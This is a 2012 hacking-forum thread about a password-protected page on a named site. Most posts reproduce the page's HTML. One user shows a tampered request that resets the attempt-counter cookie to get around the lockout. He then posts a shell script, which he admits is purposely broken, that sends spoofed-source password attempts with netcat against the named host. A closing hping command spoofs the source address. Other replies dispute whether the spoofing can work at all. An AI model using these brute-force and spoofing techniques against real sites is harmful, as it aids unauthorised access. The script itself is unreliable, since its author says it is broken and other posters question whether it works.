

Forum:[Hack Forums](#)

Thread: [\[Interesting\]Check this Site out. Cant view the Source.](#)

Bioblaze Payne - November 15, 2012, 4:05 am

<http://www.x954.com/>

Dont know whats up. but give it a Gander, im just sitting back and puzzling at it right now.

JohnRonder - November 15, 2012, 4:07 am

```
Code <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<meta http-equiv='Content-Type' content='text/html; charset=utf-8'/>
<title>Password Protected Site</title>
<style type='text/css'>
body { margin: 60px; font: 12px 'Helvetica Neue', Helvetica, Arial, sans-serif; line-height: 18px; }
body { background: red; color: #fff; }
label { display: block; margin-bottom: 3px; font-weight: bold; }
input[type='password'] { width: 250px; border: none; padding: 4px; font-size: 15px; background:
white; }
.button { padding: 5px 10px; display: inline; background: #777; border: none; color: #fff; cursor:
pointer;
font-weight: bold; }
.button:hover { background-position: 0 -48px; background: #0c0; }
.button:active { background-position: 0 top; position: relative; top: 1px; padding: 6px 10px 4px; }
</style>
</head>
<body>
<h1>This site is password protected.</h1>
<form name='login' method='post' action=''><p><label>Enter Password</label>
<input id='password' type='password' name='password' value='' /></p>
<p><button type='submit' name='submitter' class='button'>Submit</button></p>
<input type='hidden' name='check' value='' /></form>
<div id='notification'></div>
</body>
</html>
Erm, what?
```

VipVince - November 15, 2012, 5:18 am

Ctrl U I believe you can view the source.

Zwift - November 15, 2012, 5:19 am

```
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<meta http-equiv='Content-Type' content='text/html; charset=utf-8'/>
<title>Password Protected Site</title>
```

```

<style type='text/css'>
body { margin: 60px; font: 12px 'Helvetica Neue', Helvetica, Arial, sans-serif; line-height: 18px; }
body { background: red; color: #fff; }
label { display: block; margin-bottom: 3px; font-weight: bold; }
input[type='password'] { width: 250px; border: none; padding: 4px; font-size: 15px; background:
white; }
.button { padding: 5px 10px; display: inline; background: #777; border: none; color: #fff; cursor:
pointer;
font-weight: bold; }
.button:hover { background-position: 0 -48px; background: #0c0; }
.button:active { background-position: 0 top; position: relative; top: 1px; padding: 6px 10px 4px; }
</style>
</head>
<body>
<h1>This site is password protected.</h1>
<form name='login' method='post' action=''><p><label>Enter Password</label>
<input id='password' type='password' name='password' value='' /></p>
<p><button type='submit' name='submitter' class='button'>Submit</button></p>
<input type='hidden' name='check' value='' /></form>
<div id='notification'></div>
</body>
</html>

```

SIM-1452330 - November 15, 2012, 5:21 am

Yeah, I could see the source.

Strange rofl...

Phizo - November 15, 2012, 5:24 am

BioblazePayne is specifically talking about after the request, not prior to it.

If you submit the request and then attempt to view the source you should be given the following.

Spoiler [\(Click to View\)](#)

RyanC - November 15, 2012, 5:37 am

(Nov 15, 2012 06:24 AM)Phizo Wrote: [\[CITE\]](#) BioblazePayne is specifically talking about after the request, not prior to it.

If you submit the request and then attempt to view the source you should be given the following.

Spoiler [\(Click to View\)](#)

Spoiler [\(Click to View\)](#)Code <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<meta http-equiv='Content-Type' content='text/html; charset=utf-8'/>
<title>Password Protected Site</title>
<style type='text/css'>
body { margin: 60px; font: 12px 'Helvetica Neue', Helvetica, Arial, sans-serif; line-height: 18px; }
body { background: red; color: #fff; }

```

label { display: block; margin-bottom: 3px; font-weight: bold; }
input[type='password'] { width: 250px; border: none; padding: 4px; font-size: 15px; background:
white; }
.button { padding: 5px 10px; display: inline; background: #777; border: none; color: #fff; cursor:
pointer;
font-weight: bold; }
.button:hover { background-position: 0 -48px; background: #0c0; }
.button:active { background-position: 0 top; position: relative; top: 1px; padding: 6px 10px 4px; }
</style>
</head>
<body>
<h1>This site is password protected.</h1>
<form name='login' method='post' action=''><p><label>Enter Password</label>
<input id='password' type='password' name='password' value='' /></p>
<p><button type='submit' name='submitter' class='button'>Submit</button></p>

<input type='hidden' name='check' value='' /></form>
<div id='notification'>Wrong password - you have 3 attempts left.</div>
</body>
</html> I managed that just fine

```

MajorFail - November 15, 2012, 5:46 am

Firefox won't show the source after POST unless you hit F5 in the 'view-source' screen. It doesn't seem to cache the server response.

amorphos - November 15, 2012, 6:05 am

Unsure what's to be seen/gained from this site. Nothing strange or unusual about it in fact, pretty dumb considering you could butcher this up using Burpsuite, curl, etc.

```

Code Cookie: site_password_count=1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
password=$NEW_WORD_ALL_THE_TIME&submitter=&check=
Cookie: site_password_count=0 ... So much for 4 attempts

```

xRate - November 15, 2012, 6:36 am

The site may look for your IP and match it up with blocked IPs after youve tried it 5 times and then return a header() with a 404 page. Not that hard.

amorphos - November 15, 2012, 6:43 am

(Nov 15, 2012 07:36 AM)xRate Wrote: [\[CITE\]](#) The site may look for your IP and match it up with blocked IPs after youve tried it 5 times and then return a header() with a 404 page. Not that hard.

After about 20 tries doubtful and it would be not only a waste of time considering I could use a proxy, but outright stupid since I could spoof its gateway causing the domain to literally block its gateway from communicating thereby dropping the site altogether. In fact, I could likely get it to drop the net with 0.0.0.0 but that in itself might be too complex for some to understand.

xRate - November 15, 2012, 7:27 am

(Nov 15, 2012 07:43 AM)amorphos Wrote: [\[CITE\]](#) After about 20 tries doubtful and it would be not only a waste of time considering I could use a proxy, but outright stupid since I could spoof its gateway causing the domain to literally block its gateway from communicating thereby dropping the site altogether. In fact, I could likely get it to drop the net with 0.0.0.0 but that in itself might be too

complex for some to understand. Get your point, though I am still unable to reproduce the effect that OP is talking about.

kma9090 - November 15, 2012, 12:25 pm

Just click retry to view source:

```
Code <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv='Content-Type' content='text/html; charset=utf-8'/>
<title>Password Protected Site</title>
<style type='text/css'>
body { margin: 60px; font: 12px 'Helvetica Neue', Helvetica, Arial, sans-serif; line-height: 18px; }
body { background: red; color: #fff; }
label { display: block; margin-bottom: 3px; font-weight: bold; }
input[type='password'] { width: 250px; border: none; padding: 4px; font-size: 15px; background:
white; }
.button { padding: 5px 10px; display: inline; background: #777; border: none; color: #fff; cursor:
pointer;
font-weight: bold; }
.button:hover { background-position: 0 -48px; background: #0c0; }
.button:active { background-position: 0 top; position: relative; top: 1px; padding: 6px 10px 4px; }
</style>
</head>
<body>
<h1>This site is password protected.</h1>

<div id='notification'>Please contact the owner of this website for help.</div>
</body>
</html>
```

dudethatsmyapple - November 15, 2012, 12:44 pm

```
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv='Content-Type' content='text/html; charset=utf-8'/>
<title>Password Protected Site</title>
<style type='text/css'>
body { margin: 60px; font: 12px 'Helvetica Neue', Helvetica, Arial, sans-serif; line-height: 18px; }
body { background: red; color: #fff; }
label { display: block; margin-bottom: 3px; font-weight: bold; }
input[type='password'] { width: 250px; border: none; padding: 4px; font-size: 15px; background:
white; }
.button { padding: 5px 10px; display: inline; background: #777; border: none; color: #fff; cursor:
pointer;
font-weight: bold; }
.button:hover { background-position: 0 -48px; background: #0c0; }
.button:active { background-position: 0 top; position: relative; top: 1px; padding: 6px 10px 4px; }
</style>
</head>
<body>
```

```

<h1>This site is password protected.</h1>
<form name='login' method='post' action=""><p><label>Enter Password</label>
<input id='password' type='password' name='password' value="" /></p>
<p><button type='submit' name='submitter' class='button'>Submit</button></p>
<input type='hidden' name='check' value="" /></form>
<div id='notification'></div>
</body>
</html>

```

RyanC - November 15, 2012, 12:55 pm

(Nov 15, 2012 07:43 AM)amorphos Wrote: [\[CITE\]](#) After about 20 tries doubtful and it would be not only a waste of time considering I could use a proxy, but outright stupid since I could spoof its gateway causing the domain to literally block its gateway from communicating thereby dropping the site altogether. In fact, I could likely get it to drop the net with 0.0.0.0 but that in itself might be too complex for some to understand.

Mind explaining how you are going to spoof HTTP requests?

amorphos - November 16, 2012, 6:38 am

(Nov 15, 2012 01:55 PM)Who? Wrote: [\[CITE\]](#) Mind explaining how you are going to spoof HTTP requests?

Really? That you had to ask that suggests you have a lot of learning to do. Spoofing HTTP requests are trivial. Here you go, dissect it and learn it. As written PURPOSELY BROKEN and written as nothing more than a proof of concept. Trivial to fix into a working "HTTP spoofing machine complete with random blacklist IP sources.

Code #!/bin/sh

```

# "=~('(?['(_/)/}'^/]'@.[]).""(':/}>^>__'^]'@]_)_&}'.',$/}'))'
# purposely broken so the skids won't harm themselves

```

```

printf "Don't try this at home kiddies\n";
HOST="www.x954.com"
PORT="80"

```

```

HTTP_QUERY=" GET / HTTP/1.1
Host: www.x954.com
User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; cn-DE; rv:1.9.2.27) Glock/9 Firefaux/187
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: cn-DE,jp;q=0.5
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: site_password_count=0

```

```

password=peekaboosubmitter=&check=
"

```

```

links -dump www.unixhub.com/block.html | awk '/^ [0-9]/&&!/127.0|-[a-z]/{print $1}' \
while read x
do
echo "
printf "\"$HTTP_QUERY\" | nc -s $x -vvv $HOST $PORT"
done

```

```

if [ $? -eq "0" ]; then

```

```
exit 0
else
exit 2
fi
```

Starfall - November 16, 2012, 9:20 am

(Nov 16, 2012 07:38 AM)amorphos Wrote: [\[CITE\]](#) Really? That you had to ask that suggests you have a lot of learning to do. Spoofing HTTP requests are trivial. Here you go, dissect it and learn it. As written PURPOSELY BROKEN and written as nothing more than a proof of concept. Trivial to fix into a working "HTTP spoofing machine complete with random blacklist IP sources.

Code #!/bin/sh

```
# "~('({'(_/)'@/'^/]'@.[]).""(':/>^>__'^]'@]_)&}'.',$})')
# purposely broken so the skids won't harm themselves

printf "Don't try this at home kiddies\n";
HOST="www.x954.com"
PORT="80"

HTTP_QUERY=" GET / HTTP/1.1
Host: www.x954.com
User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; cn-DE; rv:1.9.2.27) Glock/9 Firefaux/187
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: cn-DE,jp;q=0.5
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: site_password_count=0

password=peekaboosubmitter=&check=
"

links -dump www.unixhub.com/block.html | awk '/^ [0-9]/&&!/127.0|-[a-z]/{print $1}' | \
while read x
do
echo "
printf \"\$HTTP_QUERY\" | nc -s $x -vvv $HOST $PORT"
done

if [ $? -eq "0" ]; then
exit 0
else
exit 2
```

fil believe he means "how do you spoof the IP of an HTTP request" which is quite impossible. The TCP 3-way handshake prevents any true spoofing. Yes, you can use a proxy or VPN or what have you, but this is just using them as intended. He's asking how to send an HTTP request with spoofed IP headers, which is nearly impossible assuming you can't guess the TCP sequence number on the other end.

Mention of X-Forwarded-For is grounds for automatic robot bitchslap.

I hate to say this but netcat with the -s parameter requires ability to see packets going to the source address specified in order to complete the TCP handshake.

amorphos - November 16, 2012, 9:28 am

(Nov 16, 2012 10:20 AM)Starfall Wrote: [\[CITE\]](#) I believe he means "how do you spoof the IP of an

HTTP request" which is quite impossible. The TCP 3-way handshake prevents any true spoofing. Yes, you can use a proxy or VPN or what have you, but this is just using them as intended. He's asking how to send an HTTP request with spoofed IP headers, which is nearly impossible assuming you can't guess the TCP sequence number on the other end.

That is a 100% blind spoof (script I butchered) and yes you can perform a 100% spoof with Paketto Keiretsu but that would be 1) too much to post right now 2) would go far beyond a lot of posters' heads. You could also do it using Scapy, Wireshark while sniffing your network and spoof someone else on your network and just grab the return information. Again... Too much info for most

Starfall - November 16, 2012, 9:45 am

(Nov 16, 2012 10:28 AM)amorphos Wrote: [\[CITE\]](#) That is a 100% blind spoof (script I butchered) and yes you can perform a 100% spoof with Paketto Keiretsu but that would be 1) too much to post right now 2) would go far beyond a lot of posters' heads. You could also do it using Scapy, Wireshark while sniffing your network and spoof someone else on your network and just grab the return information. Again... Too much info for most Routers will filter the packets before they reach the destination, and even so, you'd be unable to complete the handshake because the responses to your SYNs would be sent to the source you spoofed. Netcat won't do this anyway without having the address assigned to an interface.

```
root@mini:~# nc -s 4.4.4.4 google.com 80
Can't grab 4.4.4.4:0 with bind : Cannot assign requested address
```

The scenario with Wireshark and someone else on your network would imply that your local network has globally-routed IPs, but yeah. I guess that one is plausible. Never heard of Paketto Keiretsu, so I will have to research that. Thanks for the intelligent reply, it's something I'm not used to here.

amorphos - November 16, 2012, 10:31 am

(Nov 16, 2012 10:45 AM)Starfall Wrote: [\[CITE\]](#) Routers will filter the packets before they reach the destination, and even so, you'd be unable to complete the handshake because the responses to your SYNs would be sent to the source you spoofed. Netcat won't do this anyway without having the address assigned to an interface.

```
root@mini:~# nc -s 4.4.4.4 google.com 80
Can't grab 4.4.4.4:0 with bind : Cannot assign requested address
```

The scenario with Wireshark and someone else on your network would imply that your local network has globally-routed IPs, but yeah. I guess that one is plausible. Never heard of Paketto Keiretsu, so I will have to research that. Thanks for the intelligent reply, it's something I'm not used to here. sigh ... You couldn't be able to use 4.4.4. should have been more descriptive - but would take too long (http://en.wikipedia.org/wiki/Virtual_Interface) ... Its easier than you think, else you could just 's:nc:hping:g' ;)

```
hping $TARGET -d 80 -v -a 4.4.4.4
```